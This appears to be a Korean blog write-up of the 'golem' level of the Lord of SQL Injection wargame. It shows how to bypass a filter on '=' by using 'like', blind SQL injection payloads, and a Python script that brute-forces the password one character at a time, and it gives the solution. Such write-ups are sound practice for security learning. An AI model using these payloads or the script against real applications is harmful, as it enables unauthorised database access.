ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> golem
    Wargame/Lord of SQL Injection 2021. 11. 13. 16:26

    golem

    'prob', '_', '.', '()', 'or', 'and', 'substr(', '='을 필터링한다.

    'pw'의 값을 알아내면 문제가 풀린다.

    '='이 필터링되는 경우에는 'like'를 사용하여 우회할 수 있다.

     

    참으로 ?pw=' || 1 like 1%23을 입력하면

    "Hello {$result[id]}"를 출력한다.

     

    거짓으로 ?pw=' || 1 like 2%23을 입력하면

    아무것도 출력하지 않는다.

    참과 거짓으로 구분할 수 있기 때문에 Blind SQL Injection 공격을 하면된다.

     

    먼저 pw의 길이를 알아보면

    ?pw=' || length(pw) like 8%23을 입력하면

    "Hello admin"을 출력하는걸로 봐서 pw의 길이는 8인 것 같다.

    이제 한 글자씩 찾으면된다.

     

    ?pw=' || ascii(substring(pw,1,1)) like 55%23을 입력하면

    "Hello admin"이 출력되는 걸로 봐서 pw의 첫 글자는 7이다.

    이렇게 직접 구할 수도 있지만, 파이썬 코드를 통해 쉽게 찾을 수 있다.

     

    import requests
    
    pw = ''
    baseurl = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
    want_str = "<h2>Hello admin</h2>"
    
    for i in range(1, 9):
        for j in range(33, 128):
            url = baseurl + "?pw=' || ascii(substring(pw,{},1)) like {}%23".format(i, j)
            cookies = {'PHPSESSID' : 'PHPSESSID의 값'}
            res = requests.get(url=url, cookies=cookies)
    
            if want_str in res.text:
                pw += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    print("pw : ", pw)

    pw의 값으로 '77d6290b'를 입력하면

    문제가 풀리게 된다.

    'Wargame > Lord of SQL Injection' 카테고리의 다른 글

    <Lord of SQL Injection> skeleton  (0) 2021.11.14
    <Lord of SQL Injection> darkknight  (0) 2021.11.13
    <Lord of SQL Injection> vampire  (0) 2021.11.13
    <Lord of SQL Injection> troll  (0) 2021.11.12
    <Lord of SQL Injection> orge  (0) 2021.11.12
Designed by Tistory.